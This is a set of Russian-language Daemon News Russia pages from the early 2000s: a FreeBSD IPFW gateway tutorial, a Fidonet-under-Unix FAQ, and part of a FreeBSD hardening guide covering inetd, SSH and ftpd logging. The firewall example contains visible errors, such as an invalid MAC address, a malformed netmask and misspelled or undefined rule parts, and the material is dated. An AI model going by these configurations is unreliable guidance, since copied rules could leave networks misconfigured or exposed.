В данной статье мы расскажем о настройке роутера на базе FreeBSD, выполняющего роль шлюза в инернет с установкой firewall-a, поддерживающем статическую arp-таблицу macадресов машин в локальной сети. Речь пойдет о встроенном файрволе FreeBSD - IPFW, который не подводит ползователей уже не первый год. В последней версии, поставляемой в составе c FreeBSD 4.0, исправленны ошибки и добавленна корректная возможность ограничивать полосу пропускания по интерфейсу (использование pipe с опцией bw). Предположим что мы имеем роутер с тремя сетевыми платами, одна из которых (назовем ее vx0, IP 200.200.200.1) смотрит в сторону Internet-a, а вторая (назовем ее vx1, IP 200.200.200.2) смотрит в сторону локальной сети с реальными 18 IP адресами (subnet 200.200.200.0/28 netmask 255.255.255.240). К третьей сетевой карточке (vx2 IP 192.168.1.1 и сеть 192.168.1.0/28) подключена 10-мегабитная сеть соседнего оффиса.) Задачи перед нами поставленны следующие : - Закрыть доступ во внутренюю сеть извне по портам 135,137,139 - Дать возможность пользователям локальной сети работать с почтой и работать с в броузере с WWW,FTP серверами других компаний. - Закрыть на роутере возможность атаки типа SYN Flood, ICMP Flood. - Закрыть доступ к корпоративному WWW/FTP серверу (200.200.200.5), который используется для работы с отчетами выставленными на этот WWW server только в пределах локальной сети и доступа из филиала, который имеет IP 199.199.199.10 - Открыть доступ для конфигурирования этого роутера с определеного хоста системного администратора. - Обеспечить подсчет трафика по IP адресам в локальной сети, чтобы впоследствии доказать, что Вася весь месяц только и занимался скачиванием c www.playboy.com картинок сомнительного содержания. - Ограничить трафик 64Kb на третьей сетевой карточке для дружественного клиента компании, находящейся в том же здании и подключенной по каналу 10Mb к нашему роутеру и закрыть доступ с их стороны в локальную сеть нашей компании. Итак приступим. 1. Конфигурирование ядра и опций запукаемых скриптов. В конфигурационный файл ядра необходимо внести следующие опции : options IPFIREWALL (включает в ядро код для фильтрации пакетов) options IPFIREWALL_VERBOSE (включает возможность вести логи по правилам фильтрации и проходящих пакетов) options IPFIREEWALL_VERBOSE_LIMIT=10 (ограничение списка числа пакетов записываемых в лог, для того чтобы не зафлудили syslog) options TCP_DROP_SYNFIN (отбрасывает TCP пакеты с SYN и FIN) В итоге после пересборки ядра и перезагрузке системы мы получим firewall, который по умолчанию закрывает прохождение любого IP трафика по всем интерфейсам (осторожнее, если вы проделывате пересборку ядра удалённо - у вас есть все шансы получить машину, на которую запрещены вообще все входящие соединения - посему рекомендуется производить пересборку ядра с ttyvX, а не с ttypX =). http://www.freebsd.bip.ru/bronfbsd.shtml (1 of 4)10.04.2004 17:24:19
Daemon News Russia
Далее мы определим правила, которые откроют только те порты TCP или UDP, которые нужны для работы пользователей. Если Вы придерживаетесь другого подхода - "сначала все откроем а потом будем закрывать" то вам необходимо указать следующую опцию в ядре : options IPFIREWALL_DEFAULT_TO_ACCEPT В /etc/defaults/rc.conf указываем следующее : tcp_extensions="NO" (отключаем "опасные" из RFC1323 расширения TCP) tcp_drop_synfin="YES" (отбрасывем SYN + FIN) icmp_drop_redirect="YES" (игнорируем перенаправленные ICMP пакеты) icmp_log_redirect="YES" (включаем logging ICMP REDIRECT) firewall_enable="YES" (включаем использование firewall) firewall_type="Company" (указываем что наши настройки firewalla находятся в rc.firewall в разделе "Company") defaultrouter="199.199.199.1" (шлюз до нашего ISP) 2. Конфигурирование IPFW. Теперь приступаем к написанию правил IPFW. Более побдробное описание синтактиса можно прочитать в handbook или man ipfw. Поскольку мы создаем свою конфигурацию ("Company") то делаем ее описание в rc.firewall : [Cc][Oo][Mm][Pp][Aa][Nn][Yy] # Описываем сеть и интерфейсы fw="200.200.200.1" local="200.200.200.2" client="192.168.1.1" net="200.200.200.0/28" mask="255.255.255.255.240" # Разрешаем трафик по local интерфейсу ${fwcmd} add pass all from any to any via lo0 # Разрешаем трафик #только в пределах локальной сети ${fwcmd} add pass all from any to any via vx1 # Запрещаем прохождение фрагментированных пакетов ${fwcmd} add deny icmp from any to any frag # Разрешаем прохождение ICMP пакетов ${fwcmd} add pass ICMP from any to any # Разрешаем # работу с SMTP протоколом ${fwcmd} add pass tcp from any to any 25 out ${fwcmd} add pass tcp from any 25 to any out # Разрешаем работу # с HTTPS протоколом ${fwcmd} add pass tcp from any to any 443 out ${fwcmd} add pass tcp from any 443 to any out # Разрешаем работу снаружи с внутреним сервером компании филиалу ${fwcmd} add pass tcp from 199.199.199.10 to 200.200.200.5 80 via vx0 ${fwcmd} add pass tcp from 200.200.200.5 80 to 199.199.199.10 via vx0 # Запрещаем #остальным работу снаружи с внутреним сервером компании ${fwcmd} add deny tcp from any to 200.200.200.5 80 in via vx0 # Разрешаем #работу с HTTP протоколом ${fwcmd} add pass tcp from any to any 80 out via vx1 ${fwcmd} add pass tcp from any 80 to any out via vx1 # Разрешаем работу по всем протоколам в пределах # только локальной #сети нашей компании ${fwcmd} add allow all from any to any via vx1 # Разрешаем работу с DNS серверами ${fwcmd} add pass udp from any to any 53 ${fwcmd} add pass udp from any 53 to any # Разрешаем работу #с NEWS Серверами ${fwcmd} add pass tcp from any to any 119 ${fwcmd} add pass tcp from any 119 to any # Разрешаем забор почты по POP3 #протоколу ${fwcmd} add pass tcp from any to any 110 ${fwcmd} add pass tcp from any 110 to any # Разрешаем работу с FTP серверами # Обратите внимание что 20 порт протокола # TCP так же используется #для передачи данных ${fwcmd} add pass tcp form any 21 to any ${fwcmd} http://www.freebsd.bip.ru/bronfbsd.shtml (2 of 4)10.04.2004 17:24:19
Daemon News Russia
add pass tcp from any to any 21 ${fwcmd} add pass tcp from any 20 to any ${fwcmd} add pass tcp from any to any 20 # Разрешаем доступ #по ssh с домашней машины # администратора имеющей IP 200.200.200.15 ${fwcmd} add pass tcp from 200.200.200.15 22 to {isp} ${fwcmd} add pass tcp from {isp} to 200.200.200.15 22 # Ограничиваем трафик с #сетевой карточки vx2 в локальную сеть # нашей компании ${fwcmd} add deny all from 192.168.1.0/24 to ${net}:${mask} via vx1 ${fwcmd} add deny all from ${net}:${mask} to 192.168.1.0/24 via vx1 # Разрешаем #работу по базовым портам TCP на интерфейсе vx2 ${fwcmd} add pass tcp from 192.168.1.0/24 to any 25 via vx2 ${fwcmd} add pass tcp from any 25 to 192.168.1.0/24 via vx2 ${fwcmd} add pass tcp from 192.168.1.0/24 to any 110 via vx2 ${fwcmd} add pass tcp from any 110 to 192.168.1.0/24 via vx2 ${fwcmd} add pass udp from 192.168.1.0/24 to any 53 via vx2 ${fwcmd} add pass udp from any 53 to 192.168.1.0/24 via vx2 ${fwcmd} add pass tcp from 192.168.1.0/24 to any 80 via vx2 ${fwcmd} add pass tcp from any 80 to 192.168.1.0/24 via vx2 # Ограничиваем полосу пропускания на интерфейсе vx2 в 64 Kb. # для #входящего трафика ${fwcmd} add pipe 1 ip from any to any in via vx0 ${fwcmd} add pipe 1 config bw 64Kbit/s # Ограничиваем полосу #пропускания на интерфейсе vx2 в 64 Kb. # для исходящего трафика ${fwcmd} add pipe 2 ip from any to any out via vx0 ${fwcmd} add pipe 2 config bw 64Kbit/s Для проверки работы правил вы можете воспользоваться популярным сканером TCP/IP NMAP (входит в состав FreeBSD или скачивается с INSECURE.ORG), дав команду : ./nmap 200.200.200.1 или ./nmap 200.200.200.2 , находясь за пределами диапазона адресов вашей сети, или попросив об этом вашего ISP. 3. Предотвращение подделки MAC-адреса Нам необходимо обезопасить наш роутер от возможности принятия пакетов с IP адресами которые могут попасть в локальную сеть извне под видом "легальных" пакетов TCP/IP с обратными адресами, входящими в диапазон 200.200.200.0/28. Даже если это произойдет, то на этот случай у нас есть жестко привязанная таблица IP адресов к MAC адресам сетевых карт и роутера нашего ISP. Иногда это бывает необходимо, как мера защиты от нечистоплотных сотрудников, которые меняют IP адресс своего хоста на адрес другого ПК, владелец которого находится в отпуске и все шишки соотв. посыплятся на него ;) Для начала вам нужно построить MAC таблицу адресов , где формат ее будет таким: petya 00:20:af:4a:3e:e3 vasya 00:20:fg:3a:3e:21 sasha 00:20:fg:3a:3e:21 markins 00:20:fg:3a:3e:21 ,и сохранить ее в файле /etc/ethers. Для того чтобы узнать Ethernet адрес хоста, достаточно в консоли на нем набрать arp -a. При запуске на роутере arp -f /etc/ethers вся информация о соответствии IP адресов и MAC адресов сетевых карточек при работе протокола ARP будет браться из файла /etc/ether и "замораживаться". Это процесс можно автоматизировать запустив на роутере arpwatch (он есть в портах FreeBSD), и сделав на каждом хосте файл /etc/hosts с описанием пар name_hosts IP_adress и /etc/ethers с вышеприведенным форматом. Когда появляется факт подмены IP адреса, то arpwatch посылает http://www.freebsd.bip.ru/bronfbsd.shtml (3 of 4)10.04.2004 17:24:19
Daemon News Russia
письмо root'у роутера с описанием проишедшего и таблица arp замораживается. 4. Настраиваем статистику. Для создания стратистики мы будем использовать ipfm, входящий в состав портов FreeBSD. При инсталяции в /usr/local/etc/создается файл ipfm.conf. Его то как раз нам и нужно отредактировать: ##### FIRST LOGGING CONFIGURATION ##### # Описывем внутреннюю сеть с которой #снимаем статистику # LOG 200.200.200.0/255.255.255.240 NOT WITH 200.200.0.0/255.255.0.0 # Присваиваем название файлу для сбора #статистики FILENAME /var/log/ipfm/local_net-%d.%m-%H.%M.%S # Устанавливаем период записи в лог в нашем случае лог будет обновляться # еженедельно TIME 7 day SORT IN RESOLVE ##### SECOND LOGGING CONFIGURATION ##### NEWLOG # Описывем внутреннюю сеть нашего клиента 192.168.1.0/24 subnet 192.168.1.0/255.255.255.0 NOT WITH 192.168.0.0/255.255.0.0 # Задаем период записи в лог в данном случае #1 день FILENAME /var/log/ipfm/ipfm-%d.%m-%H.%M.%S # Log on a period of one week TIME 1 day SORT IN RESOLVE Если же требуется более детальная информация по протоколам и количеству передаваемых пакетов то можно воспользоваться опцией count в ipfw : # Подсчитываем входящий и исходящий трафик по HTTP протоколу ipfw add count tcp from any to any 80 in via vx0 ipfw add count tcp from any to any 80 out via vx0 # Подсчитываем входящий и исходящий трафик по HTTP протоколу для клиентов ipfw add count tcp from any to any 80 in via vx2 ipfw add count tcp from any to any 80 out via vx2 ipfw add count tcp from any to any 21 in via vx2 ipfw add count tcp from any to any 21 out via vx2 Еcли же вас интересует статистика с конкретного IP адреса то вы просто указываете так : ipfw add count tcp from any to 200.200.200.3 in via vx1 где 200.200.200.3 - IP адрес пользователя Васи, который ежемесячно скачивает с www.playboy. com графические файлы объёмом по сто мегабайт. Вы можете также закрыть доступ к этому сайту например таким способом : ipfw add log deny all from any to www.playboy.com с записью в лог попыток обращения к нему. А графическая статистика строится с применением пакеты MRTG (Multi Router Transfeer Grapheer) при использовании агента snmp, запущенного на роутере. Также необходимо установить на роутере средства обнаружения атак. Автор: Michael Vlasov (c) 2001-2002 Daemon News Russia
http://www.freebsd.bip.ru/bronfbsd.shtml (4 of 4)10.04.2004 17:24:19
Daemon News Russia
новости
\\ библиотека \\ софт \\ форум \\ ссылки \\ поиск \\ связь
Fido станция под Unix ● ● ● ●
● ● ●
Какие пpогpаммы необходимы для оpганизации fido под Unix ? Как установить ifmail ? Как настpоить News Server (INN) ? Настрока mta для pаботы с fido mail 1. Как настpоить sendmail ? 2. Как настpоить smail ? 3. Как настpоить exim ? Какие есть популяpные читалки ? Где можно взять AreaFix ? Где можно взять FileFix ?
Q1: Какие пpогpаммы необходимы для оpганизации fido под Unix ? A: Mailer для коммутируемых линий: ifcico из пакета ifmail. Последняя версия ifmail лежит здесь или здесь. Автор Eugene G. Crosser (2:5020/230). Mailer для работы по IP: binkd. Автор Dmitry Maloff (2:5047/13). В качестве тоссера и редактора можно использовать QEcho. Оригинальный вариант QEcho лежит здесь. Автоp Nikolay Shadrin (2:5020/609). Доработанный вариант Qecho by Vad Adamluk (2:478/13) выложен сюда. В нем пофиксены некоторые баги, присутствующие в оригинальной версии. Более сложный ваpиант: News Server + MTA + ifmail. News Server -- сервер новостей, управляющий базой статей. Это INN или cnews. MTA -- Mail Transport Agent, выполняет доставку/роутинг почты (netmail'a). Наиболее широко используемые: sendmail, smail, exim. Ifmail выполняет гейтование fido<->internet. Для ответов на входящие звонки рекомендуется mgetty. При сборке добавить в CFLAGS в Makefile -DFIDO. Q2: Как установить ifmail ? A: Взять последний ifmail, пpочитать README, поправить CONFIG, собpать, заинсталиpовать. Пойти в ~ifmail/misc, отредактировать config ifmail'a, положить на свое
http://www.freebsd.bip.ru/fidost.shtml (1 of 7)10.04.2004 17:24:21
Daemon News Russia
место (см. CONFIG). to Linux users:
Если при сборке не найден ndbm.h -- пойти на любой linux ftp site (ex: ftp://ftp.redhat.com/pub/contrib/SRPMS/), скачать gdbm-*-1.7.3.* Из него вытащить ndbm.h и положить в /usr/include/.
Если в качестве news server'a будет использоваться INN, rnews должен быть бинарь, а не скрипт. Обычно он находится в /usr/lib/news/. Рекомендуется наложить на ifmail патчи by Serg Oskin. У вас пропадут многие проблемы c гейтованием. Они оформлены как один patch, который можно взять здесь. Имя файла ifm???os.dgz, где ??? версия ifmail. Патч применим для любой версии ifmail с соответствующими доработками. Обратите внимание, что в fido адреса добавлена зона (и это правильно). Поэтому в newsfeeds, в файле паролей areafix'а & ... нужно указывать и зону. Добавте в send-ifmail в строке с egrep зону: LIST=`ls ... |egrep "f[0-6]*.n[0-9]*.z[1-7]"` Можно наложить на ifmail патч by Stanislav V. Voronyi. Основные изменения в iftoss - он теперь кроме того что гейтует пришедшие пакеты, он их еще раскладывает на даунлинков. Список даунлинков хранится в файле Areas. Своей msgbase нет, ведется только собственная дупобаза. Патч расчитан на применения на гейтующих узлах, у которых кроме news-овых есть еще и чисто фидошные даунлинки. Роутинг нетмыла не сделан, т.е. даже из фидо в фидо оно продолжает ходить через гейт. Хотя заготовка под него в исходниках имеется. Патч можно взять здесь. Имя -- ifmail-toss*.patch.gz. У кого возникнут какие вопросы - пишите на [email protected]. Если кто сделает какие изменеия - шлите патч. Поскольку желающих тестировать оказалось много они будут собираться и выкладываться на ftp. Прочитать FAQ, закомпилировать nodelist. ifpack/ifunpack запускать по крону и/или из звонилки. Q3: Как настpоить News Server (INN) ? A: Вам достаточно пpочитать и выполнить pекомендации из Install.ms (читать "nroff -mgs Install.ms | less"). Отредактировать ~inn/config/config.data под свою OS и свои настройки (пути, etc), собрать (make world), заинсталировать. На INN неплохо бы наложить msgid-inn патч (входит в состав патча к ifmail by Serg Oskin), чтобы msgid генерился в соответствии с fido стандартами. После этого идете в ~ifmail/misc/inn/: ❍
send-ifmail кладете в /var/lib/news/, вызов в news crontab'a чеpез каждые 15 минут.
http://www.freebsd.bip.ru/fidost.shtml (2 of 7)10.04.2004 17:24:21
Daemon News Russia ❍
по пpимеpу newsfeeds пишете свой (/var/lib/news/newsfeeds). Хоpошо помогает man newsfeeds.
Как создавать, удалять, etc. newsgroup? man ctlinnd, ctlinnd -h. Можно поставить autocreate by Serg Oskin. Входит в состав патча к ifmail. INN обязательно запускать с ключом -u, который нужно добавить в переменную FLAGS в скpипте запуска INN (rc.news). Еще рекомендуется добавить ключ -с0, чтобы inn не откидывал в /var/spool/news/in.coming/bad/ статьи, написанные более N дней назад. Или написать скрипт на sh+awk, правящий дату на текущую и перекладывающий статьи в /var/ spool/news/in.coming/ на с'едение rnews -U. По поводу удаления статей неплохо прочитать man expire, man expire.ctl, man news.daily. Пример news crontab'a: ==== 35 04 * * * 10,40 * * * * 0,15,30,45 * * * * ====
/usr/lib/news/bin/news.daily delayrm /usr/bin/rnews -U /usr/lib/news/send-ifmail
Q4.1: Как настpоить sendmail ? A: Это самый гадкий пpогpамм... Перед настройкой рекомендуется прочитать документацию ( ~sendmail/doc/* ). Пример рабочей конфигуpации. Kir Marushkin: Есть, по-моемy, более yдобный и гибкий ваpиант. Попpавить нижеследyющее конечно пpидется (пyти, адpеса, OSTYPE и VERSIONID). 1. $SENDMAIL_HOME/cf/mailer/ifmail.m4: ======== PUSHDIVERT(-1) # # Copyright skipped # ifdef(`IFMAIL_MAILER_PATH',, `define(`IFMAIL_MAILER_PATH', /usr/local/ifmail/ifmail)') ifdef(`IFMAIL_MAILER_ARGS',, `define(`IFMAIL_MAILER_ARGS', `ifmail -r $h $u')') POPDIVERT ####################################### ### ifmail Mailer specification ### ####################################### VERSIONID(`@(#)ifmail.m4 0.1 (Waxwork) 10/25/95') http://www.freebsd.bip.ru/fidost.shtml (3 of 7)10.04.2004 17:24:21
Daemon News Russia
Mifmail, P=IFMAIL_MAILER_PATH, F=msDFMuC, S=11, R=21, A=IFMAIL_MAILER_ARGS ======== 2. $SENDMAIL_HOME/cf/cf/waxwork.mc: ======== divert(-1) # # Copyright skipped # include(`../m4/cf.m4') VERSIONID(`@(#)waxwork.mc 0.1 (Waxwork) 10/25/95') OSTYPE(bsd4.4) FEATURE(mailertable) FEATURE(nocanonify) MAILER(local) MAILER(procmail) MAILER(smtp) MAILER(ifmail) MAILER(uucp) define(`confCOPY_ERRORS_TO',`postmaster') define(`USE_CW_FILE') define(`confCW_FILE',`/etc/sendmail.cw') LOCAL_RULE_3 R$+ < @ $+ . fidonet . org > $* R$+ < @ $+ . fidonet > $* R$+ < @ $+ . fido > $* R$+ < @ $+ . ftn > $* # между столбцами табуляция!!! ========
$@ $1 < @ $2 . fidonet . org . > $3 $@ $1 < @ $2 . fidonet . org . > $3 $@ $1 < @ $2 . fidonet . org . > $3 $@ $1 < @ $2 . fidonet . org . > $3
3. В /etc/sendmail.cw yказываем наши алиасы на котоpые сендмайл может пpинимать почтy (без фидошных aka). Hапpимеp y меня: saver.msk.su fidogate.saver.msk.su 4. Pyтинг пpописывается в mailertable, что гоpаздо yдобнее, чем пpямо в конфиге сендмайла. /etc/mailertable: .fidonet.org f361.n5020.z2.fidonet.org .f361.n5020.z2.fidonet.org f297.n5020.z2.fidonet.org .f297.n5020.z2.fidonet.org f688.n5020.z2.fidonet.org .f688.n5020.z2.fidonet.org
http://www.freebsd.bip.ru/fidost.shtml (4 of 7)10.04.2004 17:24:21
ifmail:f322.n5020.z2.fidonet.org ifmail:f361.n5020.z2.fidonet.org ifmail:f361.n5020.z2.fidonet.org ifmail:f297.n5020.z2.fidonet.org ifmail:f297.n5020.z2.fidonet.org ifmail:f688.n5020.z2.fidonet.org ifmail:f688.n5020.z2.fidonet.org
Daemon News Russia
Hy и для yдобства, /usr/local/bin/vimt: #!/bin/sh vi /etc/mailertable makemap hash /etc/mailertable.db < /etc/mailertable Если makemap не поддерживает hash, использовать dbm (ndbm) c соответсвующими исправлениями в описании mailertable (см. выше и документацию на sendmail) 5. % m4 $SENDMAIL_HOME/cf/cf/waxwork.mc > /etc/sendmail.cf Так же рекомендуется посмотреть ~ifmail/misc/sendmail/ifmail.m4-* Q4.2: Как настpоить smail ? A: Boris Tobotras: Это моя конфигуpация, ни из чего не следует, что пpавильная. В самое начало routers добавить: ifmail: driver=pathalias,transport=ifmail; file=ftnpaths,proto=lsearch В transports добавить такой: ifmail: -from,-received,max_addrs=5,max_chars=200, driver=pipe; pipe_as_sender, cmd="/usr/local/lib/ifmail/ifmail -r$host $((${strip:user})$)" Завести файл ftnpaths, куда пpописать всех пpямых линков и всю инфоpмацию о pоутинге в таком виде: # ... my direct links ... .f20.n5020.z2.fidonet.org .f0.n5020.z2.fidonet.org p8.f510.n5020.z2.fidonet.org # This is default routing: .fidonet.org Должно pаботать. Q4.3: Как настpоить exim ? A: Boris Tobotras: В секции transports:
http://www.freebsd.bip.ru/fidost.shtml (5 of 7)10.04.2004 17:24:21
f20.n5020.z2.fidonet.org!%s f0.n5020.z2.fidonet.org!%s p8.f510.n5020.z2.fidonet.org!%s f188.n5020.z2.fidonet.org!%s
Daemon News Russia
ifmail: driver = pipe user = ifmail command = "/usr/lib/ifmail/ifmail -r$host ${pipe_addresses}" #command = "/usr/lib/ifmail/ifmail -r$host ${local_part}@${domain}" В секции routers: fidonet: transport = ifmail driver = domainlist route_file = /etc/exim/ftnpaths search_type = partial-lsearch* ftnpaths имеет вид: # My direct links (points included) *.f20.n5020.z2.fidonet.org: *.f2025.n5020.z2.fidonet.org: *.f0.n5020.z2.fidonet.org: *.f79.n5020.z2.fidonet.org: *.p8.f510.n5020.z2.fidonet.org: *.p666.f510.n5020.z2.fidonet.org: *.f510.n5020.z2.fidonet.org: # This is default routing: *.fidonet.org:
f20.n5020.z2.fidonet.org f2025.n5020.z2.fidonet.org f0.n5020.z2.fidonet.org f79.n5020.z2.fidonet.org p8.f510.n5020.z2.fidonet.org p666.f510.n5020.z2.fidonet.org f510.n5020.z2.fidonet.org f400.n5020.z2.fidonet.org
Q5: Какие есть популяpные читалки? A: для netmail: mail, elm, exmh & mh, ml, mutt. для news (терминал): tin, pine, rn, nn, slrn. xrn, xvnews, nn-tk, knews, XEmacs (монстp :), Netscape. (под X'ы): Q6: Где можно взять AreaFix ? A: ftp://ftp.lexa.ru/pub/domestic/lexa/ areafix*.tar.gz Один из автоpов Alex Tutubalin (2:5020/96). Q7: Где можно взять FileFix ? A: Есть два filefix'a (первый написан на perl, второй на C): 1. FileFix by Serg Oskin (2:5020/20.10). ftp://ftp.relcom.ru/pub/unix/fido/ filefix*.tar.gz
http://www.freebsd.bip.ru/fidost.shtml (6 of 7)10.04.2004 17:24:21
Daemon News Russia
2. gtic (GNU tic processor) by Yuri Kuzmenko (2:463/169). ftp://ftp.cracksoft.kiev.ua/pub/linux/gtic/ gtic*.tar.gz (c) 2001-2002 Daemon News Russia
http://www.freebsd.bip.ru/fidost.shtml (7 of 7)10.04.2004 17:24:21
Daemon News Russia
новости
\\ библиотека \\ софт \\ форум \\ ссылки \\ поиск \\ связь
FreeBSD и безопасность Введение FreeBSD - достаточно безопасная операционная система. Поскольку исходные тексты распространяются бесплатно, операционная система постоянно проходит проверку. Но систему можно настроить так, что она будет еще более безопасной ("параноидально" безопасной). Данный документ написан для того, чтобы рассказать о некоторых шагах, которые помогут Вам увеличить общую безопасность вашей машины. Кто должен читать этот документ? Каждый, кто хочет узнать больше о мерах, как сделать систему более безопасной.
Организация сети inetd (Inet Демон) Организация сети играет очень важную роль в общей системной безопасности. FreeBSD базируется на 4.4BSD, в которой встроена поддержка сети и действительно имеет один из наиболее мощных и быстрых TCP/IP стеков. Стек обеспечивает поддержку многих протоколов таких как telnet, ftp, talk, rsh, и т.п.. Основной файл конфигурации находится в /etc и называется inetd.conf. Я буду использовать редактор vi в этих примерах. Когда Вы откроете файл в редакторе, Вы увидите простой текст ASCII, который сообщает inetd как запускать тот или иной сервис, от имени какого пользователя запускается данный сервис и т. п. (смотрите man 5 inetd.conf). Поскольку этот файл - основной файл, который запускает все сетевые сервисы, очень важно правильно его сконфигурировать. Чтобы выключить сервис, Вы должны установить "#" в начале строки. Вообще, размещение "#" в начале строки в любом из конфигурационных файлов UNIXсистем, исключает эту строку. Основной практический метод: выключить сервисы, с которыми Вы незнакомы. В идеале, в inetd. conf может и не быть ни одной записи. Небольшой пример: Вы делаете web-сервер, т.е. Вам достаточно выполнять на этой машине 2 сервиса: ssh и httpd, и НИЧЕГО БОЛЕЕ. Информация о ssh следует ниже. Если Вы решите не использовать демонов в файле inetd.conf, то, Вы можете просто выключить http://www.freebsd.bip.ru/fbsdandsec.shtml (1 of 12)10.04.2004 17:24:24
Daemon News Russia
inetd. Для того, чтобы cделать это, отредактируйте /etc/rc.conf файл и измените: inetd_enable="YES" на inetd_enable="NO" В этом случае никто несможет использовать telnet, rlogin или ftp для доступа к вашему компьютеру. Если Вы хотите использовать inetd, рассмотрите возможность использования tcp wrappers. Более подробную информацию Вы можете найти на ftp://ftp.win.tue.nl/pub/security/index. html#software Если Вы решили оставить inetd, регистрируйте и по мере надобности увеличивайте количество соединений в одну минуту (по-умолчанию - 256, я рекомендую 1024 - установите это значение как посчитаете нужным). Небольшое дополнение: если у Вас "медленное" соединение (например, модем), это неважно, но если у вас быстрое соединение (64k), этим параметром могут воспользоваться для создания атаки DoS (Denied of Service). Злоумышленник может создать простой shell-сценарий, чтобы спровоцировать более 256 соединений с вашим компьютером, которые заставят inetd отключить этот сервис. С другой стороны, если Вы хотите поддержать одновременно 1024 соединений - Вы должны правильно сконфигурировать inetd, в противном случае кто-нибудь может также вызвать DoS (Denied of Service) и повредить ваш компьютер. Следовательно, конфигурационный файл / etc/rc.conf должен содержать следующее: inetd_enable="YES" inetd_flags="-l -R 1024" это включит регистрацию (ключ -l) и максимальное количество будет увеличено до 1024. Вам также следует изменить ваш файл /etc/syslog.conf в директории /etc, но об этом мы поговорим позже, при рассмотрении syslogd.
SSH (Secure SHell) Я упомянул выше, что в некоторых случаях Вы, возможно, не будете выполнять inetd. Например, если Вы поддерживаете Web, News или NFS, нет необходимости включать другие сервисы на машине. "Как же мне управлять моей машиной?" - спросите Вы. Ответ: SSH. Вы можете войти в систему, используя SSH (Secure Shell). Secure Shell был разработан как альтернатива rsh, rlogin и других Berkeley r* команд, но SSH можно использовать и вместо таких приложений как telnet и ftp. У SSH много характеристик, но его по большей части используют для шифрования соединения, чтобы предохранить явные http://www.freebsd.bip.ru/fbsdandsec.shtml (2 of 12)10.04.2004 17:24:24
Daemon News Russia
текстовые пароли и остальную часть данных, путешествующие в "чистом виде". Если Вы используете telnet, ваше соединение может было подсмотрено. (Если Вы думаете, что S/Key является решением, то должен Вас огорчить: в этой реализации все еще существуют проблемы вставки данных и захвата соединения.) Я надеюсь, что теперь Вы созрели, для того, чтобы выключить inetd полностью и установить SSH. Если Вы думаете, что не сможете жить без услуг предусмотренных inetd, тогда, по крайней мере, включите регистрацию (логирование) и увеличте до максимума количество соединений в минуту. Загрузить SSH можно с ftp://ftp.funet.fi/pub/unix/security/login/ssh или (что проще):
# cd /usr/порты/security/ssh # make install Если у Вас есть не-Unix клиенты, то для Windows SSH можно получить здесь: http://fox.doc.ic.ac.uk/~ci2/ssh/ http://www.zip.com.au/~roca/ttssh.html SecureCRT от http://www.vandyke.com
Inetd (часть II) telnetd Итак, Вы все еще хотите использовать inetd. Давайте посмотрим на опции в inetd.conf, которые помогут сделать услуги более безопасными. Нападающий сначала соберет информацию о сети или системе, которую он собирается атаковать. Первое, что Вы можете сделать, чтобы предохранить себя от взлома, добавить ключ "-h" для telnet демона: telnet stream tcp nowait root /usr/libexec/telnetd telnetd -h Что написано в манах ??? #man telnetd ...... -h Не выводить специфической информации о машине прежде, чем вход в систему будет завершен. ...... Пока есть много других путей для того, чтобы собрать системную информацию. Если Вы не хотите запускать telnet демон совсем, просто добавьте "#" в начале строки: http://www.freebsd.bip.ru/fbsdandsec.shtml (3 of 12)10.04.2004 17:24:24
Daemon News Russia
#telnet stream tcp nowait root /usr/libexec/telnetd telnetd Дополнительно можно добавить ключ "-U" для telnet демон, которые устанавливает соединение, только в случае если об этом хосте есть запись в DNS: telnet stream tcp nowait root /usr/libexec/telnetd telnetd -h -U Это немного поможет увеличить общую безопасность вашей системы. ftpd Теперь давайте посмотрим на ftpd. У FreeBSD есть демон ftp сконфигурированный таким образом, чтобы делать некоторую регистрацию (логирование). Вы увидите, что ftpd запускается с ключом "-l" из inetd.conf. Вам также следует сконфигурировать ваш syslogd (syslog демон), чтобы обеспечить поддержку для протокола сгенерированного демоном ftp. Что написано в манах? # man ftpd ..... -l Каждый сеанс ftp(1) зарегистрирован используя syslog со средством LOG_FTP. Если эта опция определена дважды, то: retrieve (get), send (put), append, delete, make directory, remove directory, а также операции переименовывания и их аргументы будут зарегистрированы !!!. Примечание: по умолчанию, сообщения LOG_FTP не отображаются syslogd(8)... ..... Разрешим ftpd протоколировать свои действия. В файл /etc/syslog.conf (также `man 5 syslog. conf`) добавьте следующую строку: ftp.* /var/log/ftpd Запустите команду # touch /var/log/ftpd т.к. syslogd не может создавать файлы. Не забывайте добавлять имя нового log-файла в другой конфигурационный файл /etc/newsyslog. http://www.freebsd.bip.ru/fbsdandsec.shtml (4 of 12)10.04.2004 17:24:24
Daemon News Russia
conf, чтобы заставить демон периодически менять файлы. Если Вы хотите увидеть более подробную информацию о вашем демоне ftp, просто добавьте еще один символ "-l" в строку ftp в /etc/inetd.conf: ftp stream tcp nowait root /usr/libexec/ftpd ftpd -l -l Вместо стандартного UNIX-протокола ftp следует использовать команду scp (Secure Copy, которая является частью пакета SSH), но если Вы все еще хотите оставить анонимный доступ ftp, запустите ваш демон ftp с ключем "-A": ftp stream tcp nowait root /usr/libexec/ftpd ftpd -l -A Вы можете также отредактировать /etc/ftpwelcome, чтобы предупредить о том, что ftpd допускает только анонимные соединения и, что зарегистрированиные пользователи должны использовать scp вместо ftp. Если Вы разрешите анонимный доступ по ftp, то, следует использовать ключ -S, для того, чтобы регистрировать анонимные соединения по ftp: ftp stream tcp nowait root /usr/libexec/ftpd ftpd -A -S fingerd Сервис finger поставляется сконфигурированным по умолчанию: он не допускает запросы без имени пользователя. И это правильно. Если вы хотите отказатся от выполнения услуги finger, установите комментарий (символ "#" в начале строки). Если Вы хотите выполнять сервис finger, разрешите регистрацию добавив ключ "-l": finger stream tcp nowait nobody /usr/libexec/fingerd fingerd -s -l Протоколы от fingerd по умолчанию поступают в /var/log/messages. Если Вы хотите иметь протокол демона finger в другом файле, добавьте следующую строку к вашему /etc/syslog.conf файлу: daemon.notice /var/log/fingerd Что в манах???
$ man 5 syslog.conf
Я обычно запрещаю выполнение talk и comsat, а также другие сервисы которые мне лично не нужны. Как я говорил ранее, если вы не знаете что делает тот или иной сервис, или он Вам не http://www.freebsd.bip.ru/fbsdandsec.shtml (5 of 12)10.04.2004 17:24:24
Daemon News Russia
